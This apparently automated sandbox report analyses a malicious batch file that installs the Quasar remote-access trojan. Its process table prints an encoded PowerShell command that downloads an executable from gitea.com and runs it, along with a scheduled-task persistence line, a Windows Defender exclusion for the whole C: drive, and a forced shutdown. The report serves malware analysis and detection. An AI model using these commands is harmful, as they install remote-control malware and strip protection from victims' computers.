| File name: | reverseshell bash64.bat |
| Full analysis: | https://app.any.run/tasks/b2dd2ad6-caee-4ab7-8fc1-e88a7687120e |
| Verdict: | Malicious activity |
| Threats: | Quasar is a very popular RAT in the world thanks to its code being available in open-source. This malware can be used to control the victim’s computer remotely. |
| Analysis date: | March 23, 2025, 20:33:02 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (640), with CRLF line terminators |
| MD5: | 613BEE7121E05D0DD900B2F039662091 |
| SHA1: | E5D05288B7D86F259BD8132EB8EDB839CCAA58B9 |
| SHA256: | 62060019DDFC07D5B84526BAB9B24998FCEBD81F4A8F4588964412B377FEEA92 |
| SSDEEP: | 48:SgdRGagB23070TqW/nmoTHxMovPaJ1nT3H0fc/P7dEMqnatQ:Sgdo70TqWTHarH0fzyQ |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 644 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | schtasks.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 664 | "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\admin\AppData\Roaming\discord\RuntimeBroker.exe" /rl HIGHEST /f | C:\Windows\System32\schtasks.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1040 | "C:\WINDOWS\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ | C:\Windows\System32\reg.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1616 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | schtasks.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2340 | powershell -w h -command "" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2552 | powershell -enc JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABlAGEALgBjAG8AbQAvAFUAbgBsAGUAcAB4AC8AVQBYAEwAUAAtAE4ATQAvAHIAYQB3AC8AYwBvAG0AbQBpAHQALwBkADgAYQBhADYAMwBlADIAMgBlAGQAZAA3AGQANwA0ADUAYwAxAGIAZQBjAGEAYwBkADcAMQAzADAAMgA3ADEANQA1ADIAZgA1ADcAMgA5AC8AUgB1AG4AdABpAG0AZQAlADIAMABCAHIAbwBrAGUAcgAuAGUAeABlACIADQAKACQAbwB1AHQAcAB1AHQAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcAAvAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiAA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwB1AHQAcAB1AHQADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbwB1AHQAcAB1AHQA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2600 | "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\admin\AppData\Roaming\discord\RuntimeBroker.exe" /rl HIGHEST /f | C:\Windows\System32\schtasks.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2852 | "C:\Windows\System32\shutdown.exe" /s /t 0 | C:\Windows\System32\shutdown.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Shutdown and Annotation Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2984 | "C:\Users\admin\AppData\Local\Temp\RuntimeBroker.exe" | C:\Users\admin\AppData\Local\Temp\RuntimeBroker.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: HIGH Description: RuntimeBroker Exit code: 3 Version: 1.1.1.1 Modules
| |||||||||||||||
| (PID) Process: | (3300) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.FriendlyAppName |
Value: Windows Command Processor | |||
| (PID) Process: | (3300) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.ApplicationCompany |
Value: Microsoft Corporation | |||
| (PID) Process: | (1040) reg.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths |
| Operation: | write | Name: | C:\ |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5772 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_toax0xqm.52i.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5772 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_h31n0ih3.2pr.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6184 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nvjospfe.wue.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2340 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:33D402FA12F3DD9E8343A2F15F7DF8ED | SHA256:E3F66D8575A6F42C1A746D34145B8789FBA2A834E0AC8422429D208EDF79E665 | |||
| 6184 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3begvwrr.bg3.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3300 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1shypw4m.4vx.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2340 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dq2mm335.4zf.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2552 | powershell.exe | C:\Users\admin\AppData\Local\Temp\RuntimeBroker.exe | executable | |
MD5:27613F7D69F0E3F062AE5DB3D9C1D0E9 | SHA256:144ACEB7DF9D01346ECBAE3BE8B94DCCC23378D93936DB251F6CCD6E60BE9C99 | |||
| 6148 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tpe4mvnr.alp.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6148 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3ljeh400.oao.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.177:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.48.23.177:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5164 | backgroundTaskHost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
1912 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
1912 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 23.48.23.177:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3216 | svchost.exe | 40.113.110.67:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 20.190.160.67:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
arc.msn.com |
| whitelisted |
gitea.com |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Potentially Bad Traffic | ET INFO Self-Hosted Git Service Domain in DNS Lookup (gitea .com) |
2552 | powershell.exe | Potentially Bad Traffic | ET INFO Observed Self-Hosted Git Service Domain (gitea .com in TLS SNI) |
2196 | svchost.exe | Potential Corporate Privacy Violation | ET INFO DNS Query to a Reverse Proxy Service Observed |
2196 | svchost.exe | Misc activity | ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .host) |
4488 | RuntimeBroker.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
2196 | svchost.exe | Potentially Bad Traffic | ET INFO External IP Lookup Domain in DNS Lookup (ipwho .is) |
4488 | RuntimeBroker.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (Quasar CnC) |
4488 | RuntimeBroker.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] QuasarRAT Successful Connection (GCM_SHA384) |